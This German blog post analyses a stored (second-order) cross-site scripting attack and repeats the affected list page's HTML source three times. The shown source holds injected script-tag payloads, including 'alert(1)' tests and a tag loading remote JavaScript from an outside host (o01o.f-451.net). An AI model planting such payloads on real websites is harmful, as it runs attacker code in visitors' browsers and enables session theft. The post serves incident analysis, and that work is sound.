Update: Analyse des HTML Sourcecodes der Second Order Attacke

Ein kleines Update zum vorherigen Beitrag: der Nutzer „lars“ schien harmlos zu sein. Schaut man sich den HTML-Quellcode näher an, kommt ein altbekanntes Gesicht zum Vorschein:

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

<div class="listitem searchlists">

<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111128">

<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a>

<span class="listtitle">"><script>alert(1)</script></span><br />

"><script>alert(1)</script><br />

<span class="addedby">Erstellt von lars</span>

</div>

<div class="listitem searchlists">

<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111129">

<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a>

<span class="listtitle">"><script>alert(1)</script></span><br />

"><script>alert(1)</script><br />

<span class="addedby">Erstellt von lars</span>

</div>

<div class="listitem searchlists">

<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111130">

<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="fnord fnord">fnord

<script src=http://o01o.f-4" title="fnord fnord">fnord<script src=http://o01o.f-4"/></a>

<span class="listtitle">"><script src=http://o01o.f-451.net/a.js></sc</span><br />

"><script src=http://o01o.f-451.net/a.js></script>foo<br />

<span class="addedby"><strong>Erstellt von fukami</strong></span>

<div class="listitem searchlists"> <a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111128"> <img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a> <span class="listtitle">"><script>alert(1)</script></span><br /> "><script>alert(1)</script><br /> <span class="addedby">Erstellt von lars</span> </div> <div class="listitem searchlists"> <a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111129"> <img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a> <span class="listtitle">"><script>alert(1)</script></span><br /> "><script>alert(1)</script><br /> <span class="addedby">Erstellt von lars</span> </div> <div class="listitem searchlists"> <a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111130"> <img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="fnord fnord">fnord <script src=http://o01o.f-4" title="fnord fnord">fnord<script src=http://o01o.f-4"/></a> <span class="listtitle">"><script src=http://o01o.f-451.net/a.js></sc</span><br /> "><script src=http://o01o.f-451.net/a.js></script>foo<br /> <span class="addedby"><strong>Erstellt von fukami</strong></span>

		
<div class="listitem searchlists">
		<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111128">
<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a>
		<span class="listtitle">"><script>alert(1)</script></span><br />

		"><script>alert(1)</script><br />
		<span class="addedby">Erstellt von lars</span>
	</div>
		<div class="listitem searchlists">
		<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111129">
<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a>
		<span class="listtitle">"><script>alert(1)</script></span><br />

		"><script>alert(1)</script><br />
		<span class="addedby">Erstellt von lars</span>
	</div>
		<div class="listitem searchlists">
		<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111130">
<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="fnord fnord">fnord
<script src=http://o01o.f-4" title="fnord fnord">fnord<script src=http://o01o.f-4"/></a>
		<span class="listtitle">"><script src=http://o01o.f-451.net/a.js></sc</span><br />
		"><script src=http://o01o.f-451.net/a.js></script>foo<br />
		<span class="addedby"><strong>Erstellt von fukami</strong></span>

fukami.

Kurze Unterbrechung

DAS IST DEIN ALLTAG?

 

Das klingt nach einem Thema, dass Dich in Deinem Alltag bei euch beschäftigt? Das Dich mit vielen Fragen zurück lässt?

Keine Sorge – Hilfe ist nah! Melde Dich unverbindlich bei uns und wir schauen uns gemeinsam an, ob und wie wir Dich unterstützen können.